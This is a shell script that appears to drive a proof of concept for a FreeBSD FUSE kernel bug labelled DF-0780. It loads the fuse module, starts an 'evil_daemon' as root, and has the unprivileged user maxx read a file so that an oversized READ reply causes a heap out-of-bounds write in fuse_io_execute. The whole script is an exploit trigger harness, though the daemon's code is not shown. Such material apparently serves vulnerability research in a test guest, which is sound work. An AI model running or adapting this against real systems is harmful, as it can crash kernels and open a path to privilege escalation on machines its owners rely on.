#!/bin/sh
# DF-0780 run: load fuse, start the evil daemon (mounts /mnt/fuse), then as
# the unprivileged user maxx read the file to trigger the oversized READ
# reply -> heap OOB write in fuse_io_execute.
#
# The daemon must open /dev/fuse (root:operator 0660); on this guest only
# root can do that, so the daemon is started as root.  The READ that trips
# the overflow is issued by maxx.
set -e
cd "$(dirname "$0")"

MNT=/mnt/fuse
kldstat -n fuse >/dev/null 2>&1 || kldload /root/fuse.ko || true
mkdir -p "$MNT"

# start the daemon in the background; it mounts and then serves.
./evil_daemon "$MNT" > daemon.log 2>&1 &
DAEMON=$!
echo "daemon pid=$DAEMON"

# give mount time to complete (handshake + mount(2))
sleep 3

# sanity: is it mounted?
mount | grep "$MNT" || { echo "MOUNT_MISSING"; cat daemon.log; exit 1; }

# trigger as the unprivileged user: read the file -> oversized READ reply
echo "=== triggering read as maxx ==="
su -m maxx -c "cat $MNT/target" 2>&1 || echo "cat rc=$?"

# if we got here the kernel survived (overflow didn't panic) — still wait
sleep 1
echo "=== guest survived; daemon log: ==="
cat daemon.log